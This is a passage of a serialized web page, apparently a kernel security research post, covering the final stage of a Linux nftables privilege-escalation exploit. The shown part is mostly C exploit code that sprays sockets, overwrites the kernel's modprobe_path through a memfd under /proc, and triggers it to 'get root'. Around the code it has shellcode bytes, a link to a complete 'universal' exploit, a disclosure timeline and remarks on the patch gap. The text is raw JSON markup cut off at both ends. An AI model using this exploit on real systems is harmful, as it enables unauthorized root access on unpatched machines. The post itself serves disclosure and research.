0x71",{"type":22,"tag":101,"props":63832,"children":63833},{"style":120},[63834],{"type":27,"value":758},{"type":22,"tag":101,"props":63836,"children":63837},{"style":6476},[63838],{"type":27,"value":24051},{"type":22,"tag":101,"props":63840,"children":63841},{"style":52370},[63842],{"type":27,"value":63843},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":22,"tag":101,"props":63845,"children":63846},{"style":6476},[63847],{"type":27,"value":24051},{"type":22,"tag":101,"props":63849,"children":63850},{"style":120},[63851],{"type":27,"value":758},{"type":22,"tag":101,"props":63853,"children":63854},{"style":1544},[63855],{"type":27,"value":22418},{"type":22,"tag":101,"props":63857,"children":63858},{"style":120},[63859],{"type":27,"value":901},{"type":22,"tag":101,"props":63861,"children":63862},{"style":166},[63863],{"type":27,"value":4340},{"type":22,"tag":101,"props":63865,"children":63866},{"style":1544},[63867],{"type":27,"value":1547},{"type":22,"tag":101,"props":63869,"children":63870},{"style":166},[63871],{"type":27,"value":56680},{"type":22,"tag":101,"props":63873,"children":63874},{"class":103,"line":7829},[63875,63879,63883,63887,63892,63896,63900,63905,63909,63913,63917,63921,63925,63929],{"type":22,"tag":101,"props":63876,"children":63877},{"style":926},[63878],{"type":27,"value":63167},{"type":22,"tag":101,"props":63880,"children":63881},{"style":120},[63882],{"type":27,"value":63109},{"type":22,"tag":101,"props":63884,"children":63885},{"style":166},[63886],{"type":27,"value":8426},{"type":22,"tag":101,"props":63888,"children":63889},{"style":1544},[63890],{"type":27,"value":63891}," 0x78",{"type":22,"tag":101,"props":63893,"children":63894},{"style":120},[63895],{"type":27,"value":758},{"type":22,"tag":101,"props":63897,"children":63898},{"style":6476},[63899],{"type":27,"value":24051},{"type":22,"tag":101,"props":63901,"children":63902},{"style":52370},[63903],{"type":27,"value":63904},"\\xff\\xe0",{"type":22,"tag":101,"props":63906,"children":63907},{"style":6476},[63908],{"type":27,"value":24051},{"type":22,"tag":101,"props":63910,"children":63911},{"style":120},[63912],{"type":27,"value":758},{"type":22,"tag":101,"props":63914,"children":63915},{"style":1544},[63916],{"type":27,"value":7164},{"type":22,"tag":101,"props":63918,"children":63919},{"style":120},[63920],{"type":27,"value":901},{"type":22,"tag":101,"props":63922,"children":63923},{"style":166},[63924],{"type":27,"value":4340},{"type":22,"tag":101,"props":63926,"children":63927},{"style":1544},[63928],{"type":27,"value":1547},{"type":22,"tag":101,"props":63930,"children":63931},{"style":120},[63932],{"type":27,"value":2510},{"type":22,"tag":101,"props":63934,"children":63935},{"class":103,"line":7837},[63936,63940,63944],{"type":22,"tag":101,"props":63937,"children":63938},{"style":3595},[63939],{"type":27,"value":19742},{"type":22,"tag":101,"props":63941,"children":63942},{"style":108},[63943],{"type":27,"value":16473},{"type":22,"tag":101,"props":63945,"children":63946},{"style":120},[63947],{"type":27,"value":1520},{"type":22,"tag":101,"props":63949,"children":63950},{"class":103,"line":7868},[63951],{"type":22,"tag":101,"props":63952,"children":63953},{"emptyLinePlaceholder":15},[63954],{"type":27,"value":1581},{"type":22,"tag":101,"props":63956,"children":63957},{"class":103,"line":7876},[63958,63962,63966],{"type":22,"tag":101,"props":63959,"children":63960},{"style":3595},[63961],{"type":27,"value":20986},{"type":22,"tag":101,"props":63963,"children":63964},{"style":108},[63965],{"type":27,"value":13065},{"type":22,"tag":101,"props":63967,"children":63968},{"style":120},[63969],{"type":27,"value":1520},{"type":22,"tag":101,"props":63971,"children":63972},{"class":103,"line":7936},[63973],{"type":22,"tag":101,"props":63974,"children":63975},{"style":120},[63976],{"type":27,"value":188},{"type":22,"tag":101,"props":63978,"children":63979},{"class":103,"line":13054},[63980],{"type":22,"tag":101,"props":63981,"children":63982},{"style":120},[63983],{"type":27,"value":14324},{"type":22,"tag":1760,"props":63985,"children":63987},{"id":63986},"overwriting-modprobe_path",[63988,63990],{"type":27,"value":63989},"Overwriting ",{"type":22,"tag":30,"props":63991,"children":63993},{"className":63992},[],[63994],{"type":27,"value":62375},{"type":22,"tag":23,"props":63996,"children":63997},{},[63998,64000,64006],{"type":27,"value":63999},"Finding the ",{"type":22,"tag":30,"props":64001,"children":64003},{"className":64002},[],[64004],{"type":27,"value":64005},"/sbin/modprobe",{"type":27,"value":64007}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":22,"tag":23,"props":64009,"children":64010},{},[64011,64013,64019],{"type":27,"value":64012},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":22,"tag":30,"props":64014,"children":64016},{"className":64015},[],[64017],{"type":27,"value":64018},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":27,"value":64020}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":22,"tag":91,"props":64022,"children":64024},{"className":33109,"code":64023,"language":33111,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[64025],{"type":22,"tag":30,"props":64026,"children":64027},{"__ignoreMap":7},[64028,64035,64057,64065,64072,64080,64088,64096,64104,64111,64119,64126,64164,64175,64182,64189,64196,64223,64254,64261,64283,64296,64303,64361,64368,64396,64403,64410,64431,64438,64459,64470,64477,64484,64505,64512,64540,64553,64560,64567,64616,64623,64691,64698,64719,64739,64746,64753,64760,64780],{"type":22,"tag":101,"props":64029,"children":64030},{"class":103,"line":104},[64031],{"type":22,"tag":101,"props":64032,"children":64033},{"style":120},[64034],{"type":27,"value":14324},{"type":22,"tag":101,"props":64036,"children":64037},{"class":103,"line":157},[64038,64043,64048,64053],{"type":22,"tag":101,"props":64039,"children":64040},{"style":120},[64041],{"type":27,"value":64042}," puts(\"[*] ",{"type":22,"tag":101,"props":64044,"children":64045},{"style":114},[64046],{"type":27,"value":64047},"overwrite",{"type":22,"tag":101,"props":64049,"children":64050},{"style":114},[64051],{"type":27,"value":64052}," modprobe_path",{"type":22,"tag":101,"props":64054,"children":64055},{"style":6476},[64056],{"type":27,"value":60288},{"type":22,"tag":101,"props":64058,"children":64059},{"class":103,"line":182},[64060],{"type":22,"tag":101,"props":64061,"children":64062},{"style":6476},[64063],{"type":27,"value":64064}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":22,"tag":101,"props":64066,"children":64067},{"class":103,"line":367},[64068],{"type":22,"tag":101,"props":64069,"children":64070},{"style":6476},[64071],{"type":27,"value":33186},{"type":22,"tag":101,"props":64073,"children":64074},{"class":103,"line":398},[64075],{"type":22,"tag":101,"props":64076,"children":64077},{"style":6476},[64078],{"type":27,"value":64079}," pipebuf->page = modprobe_page;\n",{"type":22,"tag":101,"props":64081,"children":64082},{"class":103,"line":428},[64083],{"type":22,"tag":101,"props":64084,"children":64085},{"style":6476},[64086],{"type":27,"value":64087}," pipebuf->offset = modprobe_off;\n",{"type":22,"tag":101,"props":64089,"children":64090},{"class":103,"line":997},[64091],{"type":22,"tag":101,"props":64092,"children":64093},{"style":6476},[64094],{"type":27,"value":64095}," pipebuf->len = 0;\n",{"type":22,"tag":101,"props":64097,"children":64098},{"class":103,"line":1032},[64099],{"type":22,"tag":101,"props":64100,"children":64101},{"style":6476},[64102],{"type":27,"value":64103}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":22,"tag":101,"props":64105,"children":64106},{"class":103,"line":1063},[64107],{"type":22,"tag":101,"props":64108,"children":64109},{"style":6476},[64110],{"type":27,"value":35655},{"type":22,"tag":101,"props":64112,"children":64113},{"class":103,"line":1071},[64114],{"type":22,"tag":101,"props":64115,"children":64116},{"style":6476},[64117],{"type":27,"value":64118}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":22,"tag":101,"props":64120,"children":64121},{"class":103,"line":1110},[64122],{"type":22,"tag":101,"props":64123,"children":64124},{"style":6476},[64125],{"type":27,"value":35691},{"type":22,"tag":101,"props":64127,"children":64128},{"class":103,"line":1118},[64129,64134,64138,64142,64146,64151,64155,64159],{"type":22,"tag":101,"props":64130,"children":64131},{"style":6476},[64132],{"type":27,"value":64133}," perror(\"",{"type":22,"tag":101,"props":64135,"children":64136},{"style":120},[64137],{"type":27,"value":2414},{"type":22,"tag":101,"props":64139,"children":64140},{"style":166},[64141],{"type":27,"value":8372},{"type":22,"tag":101,"props":64143,"children":64144},{"style":120},[64145],{"type":27,"value":12668},{"type":22,"tag":101,"props":64147,"children":64148},{"style":114},[64149],{"type":27,"value":64150},"write",{"type":22,"tag":101,"props":64152,"children":64153},{"style":120},[64154],{"type":27,"value":980},{"type":22,"tag":101,"props":64156,"children":64157},{"style":114},[64158],{"type":27,"value":45934},{"type":22,"tag":101,"props":64160,"children":64161},{"style":120},[64162],{"type":27,"value":64163},")\");\n",{"type":22,"tag":101,"props":64165,"children":64166},{"class":103,"line":1158},[64167,64171],{"type":22,"tag":101,"props":64168,"children":64169},{"style":3595},[64170],{"type":27,"value":62957},{"type":22,"tag":101,"props":64172,"children":64173},{"style":120},[64174],{"type":27,"value":1520},{"type":22,"tag":101,"props":64176,"children":64177},{"class":103,"line":1166},[64178],{"type":22,"tag":101,"props":64179,"children":64180},{"style":120},[64181],{"type":27,"value":62882},{"type":22,"tag":101,"props":64183,"children":64184},{"class":103,"line":1215},[64185],{"type":22,"tag":101,"props":64186,"children":64187},{"style":120},[64188],{"type":27,"value":2398},{"type":22,"tag":101,"props":64190,"children":64191},{"class":103,"line":2425},[64192],{"type":22,"tag":101,"props":64193,"children":64194},{"emptyLinePlaceholder":15},[64195],{"type":27,"value":1581},{"type":22,"tag":101,"props":64197,"children":64198},{"class":103,"line":5417},[64199,64203,64207,64211,64215,64219],{"type":22,"tag":101,"props":64200,"children":64201},{"style":926},[64202],{"type":27,"value":58613},{"type":22,"tag":101,"props":64204,"children":64205},{"style":120},[64206],{"type":27,"value":980},{"type":22,"tag":101,"props":64208,"children":64209},{"style":166},[64210],{"type":27,"value":985},{"type":22,"tag":101,"props":64212,"children":64213},{"style":120},[64214],{"type":27,"value":62768},{"type":22,"tag":101,"props":64216,"children":64217},{"style":1544},[64218],{"type":27,"value":8065},{"type":22,"tag":101,"props":64220,"children":64221},{"style":120},[64222],{"type":27,"value":62777},{"type":22,"tag":101,"props":64224,"children":64225},{"class":103,"line":7714},[64226,64230,64235,64239,64244,64249],{"type":22,"tag":101,"props":64227,"children":64228},{"style":926},[64229],{"type":27,"value":59314},{"type":22,"tag":101,"props":64231,"children":64232},{"style":120},[64233],{"type":27,"value":64234},"(fd_path, ",{"type":22,"tag":101,"props":64236,"children":64237},{"style":108},[64238],{"type":27,"value":59324},{"type":22,"tag":101,"props":64240,"children":64241},{"style":120},[64242],{"type":27,"value":64243},"(fd_path), ",{"type":22,"tag":101,"props":64245,"children":64246},{"style":6476},[64247],{"type":27,"value":64248},"\"/proc/%i/fd/%i\"",{"type":22,"tag":101,"props":64250,"children":64251},{"style":120},[64252],{"type":27,"value":64253},", i, modprobe_fd);\n",{"type":22,"tag":101,"props":64255,"children":64256},{"class":103,"line":7723},[64257],{"type":22,"tag":101,"props":64258,"children":64259},{"emptyLinePlaceholder":15},[64260],{"type":27,"value":1581},{"type":22,"tag":101,"props":64262,"children":64263},{"class":103,"line":7791},[64264,64269,64274,64278],{"type":22,"tag":101,"props":64265,"children":64266},{"style":926},[64267],{"type":27,"value":64268}," lseek",{"type":22,"tag":101,"props":64270,"children":64271},{"style":120},[64272],{"type":27,"value":64273},"(modprobe_fd, ",{"type":22,"tag":101,"props":64275,"children":64276},{"style":1544},[64277],{"type":27,"value":8065},{"type":22,"tag":101,"props":64279,"children":64280},{"style":120},[64281],{"type":27,"value":64282},", SEEK_SET);\n",{"type":22,"tag":101,"props":64284,"children":64285},{"class":103,"line":7799},[64286,64291],{"type":22,"tag":101,"props":64287,"children":64288},{"style":926},[64289],{"type":27,"value":64290}," dprintf",{"type":22,"tag":101,"props":64292,"children":64293},{"style":120},[64294],{"type":27,"value":64295},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":22,"tag":101,"props":64297,"children":64298},{"class":103,"line":7829},[64299],{"type":22,"tag":101,"props":64300,"children":64301},{"emptyLinePlaceholder":15},[64302],{"type":27,"value":1581},{"type":22,"tag":101,"props":64304,"children":64305},{"class":103,"line":7837},[64306,64310,64314,64318,64322,64326,64331,64335,64340,64345,64349,64353,64357],{"type":22,"tag":101,"props":64307,"children":64308},{"style":3595},[64309],{"type":27,"value":7312},{"type":22,"tag":101,"props":64311,"children":64312},{"style":120},[64313],{"type":27,"value":3603},{"type":22,"tag":101,"props":64315,"children":64316},{"style":926},[64317],{"type":27,"value":64150},{"type":22,"tag":101,"props":64319,"children":64320},{"style":120},[64321],{"type":27,"value":980},{"type":22,"tag":101,"props":64323,"children":64324},{"style":126},[64325],{"type":27,"value":62821},{"type":22,"tag":101,"props":64327,"children":64328},{"style":120},[64329],{"type":27,"value":64330},"[pipe_idx][",{"type":22,"tag":101,"props":64332,"children":64333},{"style":1544},[64334],{"type":27,"value":6813},{"type":22,"tag":101,"props":64336,"children":64337},{"style":120},[64338],{"type":27,"value":64339},"], fd_path, ",{"type":22,"tag":101,"props":64341,"children":64342},{"style":1544},[64343],{"type":27,"value":64344},"32",{"type":22,"tag":101,"props":64346,"children":64347},{"style":120},[64348],{"type":27,"value":901},{"type":22,"tag":101,"props":64350,"children":64351},{"style":166},[64352],{"type":27,"value":123},{"type":22,"tag":101,"props":64354,"children":64355},{"style":1544},[64356],{"type":27,"value":1547},{"type":22,"tag":101,"props":64358,"children":64359},{"style":120},[64360],{"type":27,"value":2510},{"type":22,"tag":101,"props":64362,"children":64363},{"class":103,"line":7868},[64364],{"type":22,"tag":101,"props":64365,"children":64366},{"style":120},[64367],{"type":27,"value":35655},{"type":22,"tag":101,"props":64369,"children":64370},{"class":103,"line":7876},[64371,64375,64379,64383,64387,64392],{"type":22,"tag":101,"props":64372,"children":64373},{"style":926},[64374],{"type":27,"value":61894},{"type":22,"tag":101,"props":64376,"children":64377},{"style":120},[64378],{"type":27,"value":980},{"type":22,"tag":101,"props":64380,"children":64381},{"style":6476},[64382],{"type":27,"value":24051},{"type":22,"tag":101,"props":64384,"children":64385},{"style":52370},[64386],{"type":27,"value":52373},{"type":22,"tag":101,"props":64388,"children":64389},{"style":6476},[64390],{"type":27,"value":64391},"[-] write(pipe)\"",{"type":22,"tag":101,"props":64393,"children":64394},{"style":120},[64395],{"type":27,"value":994},{"type":22,"tag":101,"props":64397,"children":64398},{"class":103,"line":7936},[64399],{"type":22,"tag":101,"props":64400,"children":64401},{"style":120},[64402],{"type":27,"value":2398},{"type":22,"tag":101,"props":64404,"children":64405},{"class":103,"line":13054},[64406],{"type":22,"tag":101,"props":64407,"children":64408},{"emptyLinePlaceholder":15},[64409],{"type":27,"value":1581},{"type":22,"tag":101,"props":64411,"children":64412},{"class":103,"line":13072},[64413,64417,64421,64426],{"type":22,"tag":101,"props":64414,"children":64415},{"style":3595},[64416],{"type":27,"value":7312},{"type":22,"tag":101,"props":64418,"children":64419},{"style":120},[64420],{"type":27,"value":3603},{"type":22,"tag":101,"props":64422,"children":64423},{"style":926},[64424],{"type":27,"value":64425},"check_modprobe",{"type":22,"tag":101,"props":64427,"children":64428},{"style":120},[64429],{"type":27,"value":64430},"(fd_path))\n",{"type":22,"tag":101,"props":64432,"children":64433},{"class":103,"line":13117},[64434],{"type":22,"tag":101,"props":64435,"children":64436},{"style":120},[64437],{"type":27,"value":35655},{"type":22,"tag":101,"props":64439,"children":64440},{"class":103,"line":13223},[64441,64446,64450,64455],{"type":22,"tag":101,"props":64442,"children":64443},{"style":926},[64444],{"type":27,"value":64445}," puts",{"type":22,"tag":101,"props":64447,"children":64448},{"style":120},[64449],{"type":27,"value":980},{"type":22,"tag":101,"props":64451,"children":64452},{"style":6476},[64453],{"type":27,"value":64454},"\"[-] failed to overwrite modprobe\"",{"type":22,"tag":101,"props":64456,"children":64457},{"style":120},[64458],{"type":27,"value":994},{"type":22,"tag":101,"props":64460,"children":64461},{"class":103,"line":27496},[64462,64466],{"type":22,"tag":101,"props":64463,"children":64464},{"style":3595},[64465],{"type":27,"value":7337},{"type":22,"tag":101,"props":64467,"children":64468},{"style":120},[64469],{"type":27,"value":1520},{"type":22,"tag":101,"props":64471,"children":64472},{"class":103,"line":27531},[64473],{"type":22,"tag":101,"props":64474,"children":64475},{"style":120},[64476],{"type":27,"value":2398},{"type":22,"tag":101,"props":64478,"children":64479},{"class":103,"line":27539},[64480],{"type":22,"tag":101,"props":64481,"children":64482},{"emptyLinePlaceholder":15},[64483],{"type":27,"value":1581},{"type":22,"tag":101,"props":64485,"children":64486},{"class":103,"line":27547},[64487,64491,64495,64500],{"type":22,"tag":101,"props":64488,"children":64489},{"style":3595},[64490],{"type":27,"value":7312},{"type":22,"tag":101,"props":64492,"children":64493},{"style":120},[64494],{"type":27,"value":3603},{"type":22,"tag":101,"props":64496,"children":64497},{"style":926},[64498],{"type":27,"value":64499},"trigger_modprobe",{"type":22,"tag":101,"props":64501,"children":64502},{"style":120},[64503],{"type":27,"value":64504},"(status_fd))\n",{"type":22,"tag":101,"props":64506,"children":64507},{"class":103,"line":27556},[64508],{"type":22,"tag":101,"props":64509,"children":64510},{"style":120},[64511],{"type":27,"value":35655},{"type":22,"tag":101,"props":64513,"children":64514},{"class":103,"line":27598},[64515,64519,64523,64527,64531,64536],{"type":22,"tag":101,"props":64516,"children":64517},{"style":926},[64518],{"type":27,"value":64445},{"type":22,"tag":101,"props":64520,"children":64521},{"style":120},[64522],{"type":27,"value":980},{"type":22,"tag":101,"props":64524,"children":64525},{"style":6476},[64526],{"type":27,"value":24051},{"type":22,"tag":101,"props":64528,"children":64529},{"style":52370},[64530],{"type":27,"value":52373},{"type":22,"tag":101,"props":64532,"children":64533},{"style":6476},[64534],{"type":27,"value":64535},"[+] got root\"",{"type":22,"tag":101,"props":64537,"children":64538},{"style":120},[64539],{"type":27,"value":994},{"type":22,"tag":101,"props":64541,"children":64542},{"class":103,"line":27631},[64543,64548],{"type":22,"tag":101,"props":64544,"children":64545},{"style":3595},[64546],{"type":27,"value":64547}," goto",{"type":22,"tag":101,"props":64549,"children":64550},{"style":120},[64551],{"type":27,"value":64552}," out;\n",{"type":22,"tag":101,"props":64554,"children":64555},{"class":103,"line":27639},[64556],{"type":22,"tag":101,"props":64557,"children":64558},{"style":120},[64559],{"type":27,"value":2398},{"type":22,"tag":101,"props":64561,"children":64562},{"class":103,"line":27647},[64563],{"type":22,"tag":101,"props":64564,"children":64565},{"emptyLinePlaceholder":15},[64566],{"type":27,"value":1581},{"type":22,"tag":101,"props":64568,"children":64569},{"class":103,"line":27656},[64570,64575,64579,64583,64587,64591,64595,64599,64603,64608,64612],{"type":22,"tag":101,"props":64571,"children":64572},{"style":3595},[64573],{"type":27,"value":64574}," for",{"type":22,"tag":101,"props":64576,"children":64577},{"style":120},[64578],{"type":27,"value":3603},{"type":22,"tag":101,"props":64580,"children":64581},{"style":108},[64582],{"type":27,"value":23037},{"type":22,"tag":101,"props":64584,"children":64585},{"style":120},[64586],{"type":27,"value":58540},{"type":22,"tag":101,"props":64588,"children":64589},{"style":166},[64590],{"type":27,"value":1511},{"type":22,"tag":101,"props":64592,"children":64593},{"style":1544},[64594],{"type":27,"value":1547},{"type":22,"tag":101,"props":64596,"children":64597},{"style":120},[64598],{"type":27,"value":55229},{"type":22,"tag":101,"props":64600,"children":64601},{"style":166},[64602],{"type":27,"value":123},{"type":22,"tag":101,"props":64604,"children":64605},{"style":120},[64606],{"type":27,"value":64607}," SKBUF_SPRAY; i",{"type":22,"tag":101,"props":64609,"children":64610},{"style":166},[64611],{"type":27,"value":55265},{"type":22,"tag":101,"props":64613,"children":64614},{"style":120},[64615],{"type":27,"value":2510},{"type":22,"tag":101,"props":64617,"children":64618},{"class":103,"line":27732},[64619],{"type":22,"tag":101,"props":64620,"children":64621},{"style":120},[64622],{"type":27,"value":35655},{"type":22,"tag":101,"props":64624,"children":64625},{"class":103,"line":27765},[64626,64630,64634,64639,64643,64648,64653,64657,64662,64666,64670,64675,64679,64683,64687],{"type":22,"tag":101,"props":64627,"children":64628},{"style":3595},[64629],{"type":27,"value":62798},{"type":22,"tag":101,"props":64631,"children":64632},{"style":120},[64633],{"type":27,"value":3603},{"type":22,"tag":101,"props":64635,"children":64636},{"style":926},[64637],{"type":27,"value":64638},"read",{"type":22,"tag":101,"props":64640,"children":64641},{"style":120},[64642],{"type":27,"value":980},{"type":22,"tag":101,"props":64644,"children":64645},{"style":126},[64646],{"type":27,"value":64647},"sock",{"type":22,"tag":101,"props":64649,"children":64650},{"style":120},[64651],{"type":27,"value":64652},"[i][",{"type":22,"tag":101,"props":64654,"children":64655},{"style":1544},[64656],{"type":27,"value":6813},{"type":22,"tag":101,"props":64658,"children":64659},{"style":120},[64660],{"type":27,"value":64661},"], leak, ",{"type":22,"tag":101,"props":64663,"children":64664},{"style":1544},[64665],{"type":27,"value":62145},{"type":22,"tag":101,"props":64667,"children":64668},{"style":166},[64669],{"type":27,"value":55251},{"type":22,"tag":101,"props":64671,"children":64672},{"style":1544},[64673],{"type":27,"value":64674}," 320",{"type":22,"tag":101,"props":64676,"children":64677},{"style":120},[64678],{"type":27,"value":901},{"type":22,"tag":101,"props":64680,"children":64681},{"style":166},[64682],{"type":27,"value":123},{"type":22,"tag":101,"props":64684,"children":64685},{"style":1544},[64686],{"type":27,"value":1547},{"type":22,"tag":101,"props":64688,"children":64689},{"style":120},[64690],{"type":27,"value":2510},{"type":22,"tag":101,"props":64692,"children":64693},{"class":103,"line":27773},[64694],{"type":22,"tag":101,"props":64695,"children":64696},{"style":120},[64697],{"type":27,"value":35691},{"type":22,"tag":101,"props":64699,"children":64700},{"class":103,"line":27781},[64701,64706,64710,64715],{"type":22,"tag":101,"props":64702,"children":64703},{"style":926},[64704],{"type":27,"value":64705}," perror",{"type":22,"tag":101,"props":64707,"children":64708},{"style":120},[64709],{"type":27,"value":980},{"type":22,"tag":101,"props":64711,"children":64712},{"style":6476},[64713],{"type":27,"value":64714},"\"[-] read(socket)\"",{"type":22,"tag":101,"props":64716,"children":64717},{"style":120},[64718],{"type":27,"value":994},{"type":22,"tag":101,"props":64720,"children":64721},{"class":103,"line":27818},[64722,64727,64731,64735],{"type":22,"tag":101,"props":64723,"children":64724},{"style":3595},[64725],{"type":27,"value":64726}," return",{"type":22,"tag":101,"props":64728,"children":64729},{"style":166},[64730],{"type":27,"value":55251},{"type":22,"tag":101,"props":64732,"children":64733},{"style":1544},[64734],{"type":27,"value":6813},{"type":22,"tag":101,"props":64736,"children":64737},{"style":120},[64738],{"type":27,"value":1520},{"type":22,"tag":101,"props":64740,"children":64741},{"class":103,"line":27831},[64742],{"type":22,"tag":101,"props":64743,"children":64744},{"style":120},[64745],{"type":27,"value":62882},{"type":22,"tag":101,"props":64747,"children":64748},{"class":103,"line":27844},[64749],{"type":22,"tag":101,"props":64750,"children":64751},{"style":120},[64752],{"type":27,"value":2398},{"type":22,"tag":101,"props":64754,"children":64755},{"class":103,"line":27857},[64756],{"type":22,"tag":101,"props":64757,"children":64758},{"style":120},[64759],{"type":27,"value":1734},{"type":22,"tag":101,"props":64761,"children":64762},{"class":103,"line":27911},[64763,64767,64771,64776],{"type":22,"tag":101,"props":64764,"children":64765},{"style":926},[64766],{"type":27,"value":59503},{"type":22,"tag":101,"props":64768,"children":64769},{"style":120},[64770],{"type":27,"value":980},{"type":22,"tag":101,"props":64772,"children":64773},{"style":6476},[64774],{"type":27,"value":64775},"\"[-] fake modprobe failed\"",{"type":22,"tag":101,"props":64777,"children":64778},{"style":120},[64779],{"type":27,"value":994},{"type":22,"tag":101,"props":64781,"children":64782},{"class":103,"line":27920},[64783],{"type":22,"tag":101,"props":64784,"children":64785},{"style":120},[64786],{"type":27,"value":14324},{"type":22,"tag":23,"props":64788,"children":64789},{},[64790,64792,64799],{"type":27,"value":64791},"This trick has already been throughly detailed by ",{"type":22,"tag":80,"props":64793,"children":64796},{"href":64794,"rel":64795},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[84],[64797],{"type":27,"value":64798},"lau",{"type":27,"value":64800},", so we won't go much more into it.",{"type":22,"tag":1760,"props":64802,"children":64804},{"id":64803},"universal-exploit-demo",[64805],{"type":27,"value":64806},"Universal exploit demo",{"type":22,"tag":23,"props":64808,"children":64809},{},[64810,64812,64818],{"type":27,"value":64811},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":22,"tag":80,"props":64813,"children":64816},{"href":64814,"rel":64815},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[84],[64817],{"type":27,"value":61412},{"type":27,"value":231},{"type":22,"tag":53,"props":64820,"children":64822},{"id":64821},"disclosure-timeline",[64823],{"type":27,"value":64824},"Disclosure Timeline",{"type":22,"tag":6839,"props":64826,"children":64827},{},[64828,64833,64838,64843,64848],{"type":22,"tag":6832,"props":64829,"children":64830},{},[64831],{"type":27,"value":64832},"March 21st -- Patch made public",{"type":22,"tag":6832,"props":64834,"children":64835},{},[64836],{"type":27,"value":64837},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":22,"tag":6832,"props":64839,"children":64840},{},[64841],{"type":27,"value":64842},"March 24th -- Wrote KernelCTF exploit",{"type":22,"tag":6832,"props":64844,"children":64845},{},[64846],{"type":27,"value":64847},"March 26th -- Wrote Universal exploit",{"type":22,"tag":6832,"props":64849,"children":64850},{},[64851],{"type":27,"value":64852},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":22,"tag":23,"props":64854,"children":64855},{},[64856],{"type":27,"value":64857},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":22,"tag":53,"props":64859,"children":64860},{"id":6776},[64861],{"type":27,"value":6779},{"type":22,"tag":23,"props":64863,"children":64864},{},[64865],{"type":27,"value":64866},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":22,"tag":23,"props":64868,"children":64869},{},[64870],{"type":27,"value":64871},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":22,"tag":6891,"props":64873,"children":64874},{},[64875],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":64877},[64878,64881,64884,64887,64888,64898,64906,64907],{"id":54563,"depth":157,"text":54566,"children":64879},[64880],{"id":54584,"depth":182,"text":54587},{"id":54627,"depth":157,"text":54627,"children":64882},[64883],{"id":54674,"depth":182,"text":54677},{"id":54732,"depth":157,"text":54735,"children":64885},[64886],{"id":55895,"depth":182,"text":55898},{"id":57770,"depth":157,"text":57773},{"id":58172,"depth":157,"text":58175,"children":64889},[64890,64891,64892,64894,64895,64896,64897],{"id":58199,"depth":182,"text":58202},{"id":59081,"depth":182,"text":59084},{"id":59667,"depth":182,"text":64893},"Leaking self pointer of nft_object",{"id":60065,"depth":182,"text":60068},{"id":60579,"depth":182,"text":60582},{"id":60709,"depth":182,"text":60366},{"id":61393,"depth":182,"text":61396},{"id":61416,"depth":157,"text":61419,"children":64899},[64900,64901,64902,64903,64905],{"id":61427,"depth":182,"text":61430},{"id":62285,"depth":182,"text":62288},{"id":62361,"depth":182,"text":62364},{"id":63986,"depth":182,"text":64904},"Overwriting 